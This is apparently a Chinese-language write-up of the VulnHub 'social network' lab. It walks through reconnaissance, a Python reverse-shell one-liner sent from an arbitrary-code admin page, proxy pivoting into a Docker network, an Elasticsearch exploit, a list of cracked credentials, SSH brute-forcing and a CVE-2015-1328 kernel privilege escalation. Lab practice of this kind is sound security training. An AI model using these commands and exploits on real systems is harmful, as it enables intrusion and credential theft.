文章目录
- 实验环境
- 信息收集
- 存活主机探测
- 端口服务探测
- 目录扫描
- 反弹shell
- 建立代理
 
- 内网探测
- 漏洞发现
- 漏洞利用
 
- 权限提升
- 总结
实验环境
靶机地址:
https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
靶机ip:192.168.56.101
 攻击机:192.168.56.102
信息收集
存活主机探测
使用namp
 
使用netdiscover
 
端口服务探测
判断出靶机IP为101之后用nmap进行详细探测,端口扫描、服务探测、操作系统探测
nmap -sV -sC -O -p- 192.168.56.101

 看到22端口开的open ssh服务,5000端口开的 http服务是由python2开发的Werkzeug框架搭建的,访问一下是个留言板界面
 
目录扫描
这里用的是kali自带的dirb,发现一个/admin界面
 
 访问admin,发现是一个可以执行任意代码的test文件
 
反弹shell
可以执行任意代码,结合前期信息收集网站为python搭建,直接反弹shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

 发现IP地址跟我们之前收集的不一样,查一下是否在docker中
cat /proc/1/cgroup

建立代理
使用venom工具去和kali进行连接,以便于使用kali去访问靶机内网
 venom使用方法,点我
 kali的是x64的,那么在venom的目录下,输入,监听6666端口
./admin_linux_x64 lport 6666

kali上使用python启动一个http服务,使用wget将agent_linux_x64下载到靶机
 

 靶机启动刚刚上传的,记得先给权限,chmod -R 777 agent_linux_x64
 
连接成功后使用show命令去查找节点,然后使用goto去连接这个节点
 启动一个socks监听
socks 1000
 
 修改kali里的/etc/proxychains4.conf文件
 修改为sock5 127.0.0.1 1000(venom开启的socks监听)
 
内网探测
漏洞发现
这时候就可以使用kali的工具通过代理去探测靶机内网信息,使用nmap发现在172.17.0.2主机上发现了一个不一样的端口,9200
proxychains nmap -Pn -sT -sV 172.17.0.2

 对9200端口进行扫描,发现开放了Elasticsearch服务
proxychains nmap -p 9200 -Pn -sT -sV 172.17.0.2

 这里还可以让浏览器走代理访问一下9200这个端口对应的网站
 
漏洞利用
使用Elasticsearch查看是否有漏洞和可以利用的脚本文件
searchsploit Elasticsearch

将第一个复制到当前路径下
searchsploit -m 36337.py ./ 

 使用exp直接拿到0.2的root权限
proxychains python2 36337.py 172.17.0.2

 在根目录下发现一个存储密码的文件passwords
 
 cat 看一下,发现几个账号密码,但是密码是加密的

 使用工具对MD5进行解密
john:1337hack
test:1234test
admin:1111pass
root:1234pass
jane:1234jane
知道账号密码后可以使用hydra进行ssh爆破,发现john 1337hack可以登录,ssh登录
 

权限提升
看到是一台Ubuntu 14.04 内核版本为Linux 3.13,权限为普通用户,发现内核版本过低,那么尝试内核提权
searchsploit Linux 3.13.0
发现可以利用的脚本
 
 复制一下
searchsploit -m 37292.c ./
发现需要使用gcc编译,但是靶机没有gcc,我们只能把这个编译好的文件传到靶机上去执行。
 修改代码,将下图中两个方框之间的代码删掉
 
 寻找编译过的ofs-lib.so文件,复制到跟exp在同一个目录
locate ofs-lib.so
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so ./

开启python服务,将文件传输到靶机
 
 因为编译的文件要在/tmp目录下,将文件转移到/tmp目录下,并赋予执行权限
ls                                      #ls命令发现当前目录只有我们刚刚下载的exp文件和so文件
mv * /tmp/                              #将当前目录下的所有文件移动到tmp目录下
chmod -R 777 exp                            #赋权
./exp                                   #执行
出现这个错误,是因为kali 上编译时的 /lib/x86_64-linux-gnu/libc.so.6 动态库高于靶机的
 
 解决方法:
下载libc6_2.19-0ubuntu6_amd64.deb解压
dpkg -e libc6_2.19-0ubuntu6_amd64.deb
dpkg -x libc6_2.19-0ubuntu6_amd64.deb ./(需要指定路径)
然后通过-Ldir指定解压的文件下的/lib/x86_64-linux-gnu/libc.so.6
输入gcc 37292.c -o exp -Ldir ./lib/x86_64-linux-gnu/libc.so.6 重新编译
重复上面的传文件的操作,把exp重新传到靶机的/tmp目录,运行,提权成功
 
总结
好麻烦,养养眼
 



















